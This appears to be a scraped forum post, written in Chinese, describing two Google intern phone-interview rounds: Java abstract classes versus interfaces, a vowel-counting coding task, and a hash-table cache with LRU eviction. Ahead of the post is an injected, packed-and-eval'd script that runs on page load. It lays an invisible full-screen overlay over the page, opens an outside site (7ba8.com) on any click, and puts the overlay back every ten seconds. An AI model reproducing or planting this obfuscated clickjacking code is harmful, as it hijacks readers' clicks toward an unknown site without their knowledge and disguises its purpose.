<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>昨天下午的google intern电话面试,写出来给其他准备的人些信息。
两轮店面。
Round 1. 美国人,上来问abstract vs interface的区别。回答的内容忘说abstract只能单继承,interface可以多implement的区别了,对方通过不通过方式问了几遍,我才想起这个,感觉自己太二了。然后接着又问为什么java不让多继承,回答avoid dimond-shaped inheritance。问完这些就是coding题。很简单,就是给一个文件,返回vowel(就是原因aeiou)数量最多的行。还说不考虑大数据情况,就是一个普通file。于是中规中矩写完代码。然后问client side怎么区分文件不存在和文件为空的情况,答可以在文件不存在的情况下抛异常。对方又问为什么一开始写代码时候没抛异常,答写代码时候考虑的是算法本身,抛异常这些都可以慢慢加。结束。
Round 2:美国人,比较nice。直接说45分钟的面试就做一套题,但是会慢慢深入,看能写多深入。大概内容是设计一个cache。我写了一个HashTable的框架,用chaining处理collision。注意hush function这个核心东西没写,对方也说这个可以不写。然后说如果只允许table里面放1000个数据,怎么处理,答在put的时候如果超过可以抛异常。然后问如果不跑异常,而是在发现超过的时候,删去一个数据,放新数据怎么处理。答用LRU cache的思想。然后就实现这个cache,我用的java本身的LinkedList封装了一下。然后对方让在Hash table的put和get,remove方法里加入这个LRU cache的逻辑。写完这个时间也差不多了。就问了问设计的这个东西平均和最坏的时间和空间复杂度。结束。
整体感觉和预想的简单很多,但越是简单越心里没底,因为不知道怎么答才能答出对方想听的东西。目前为止HR还没有回复。心里感觉悬了。 |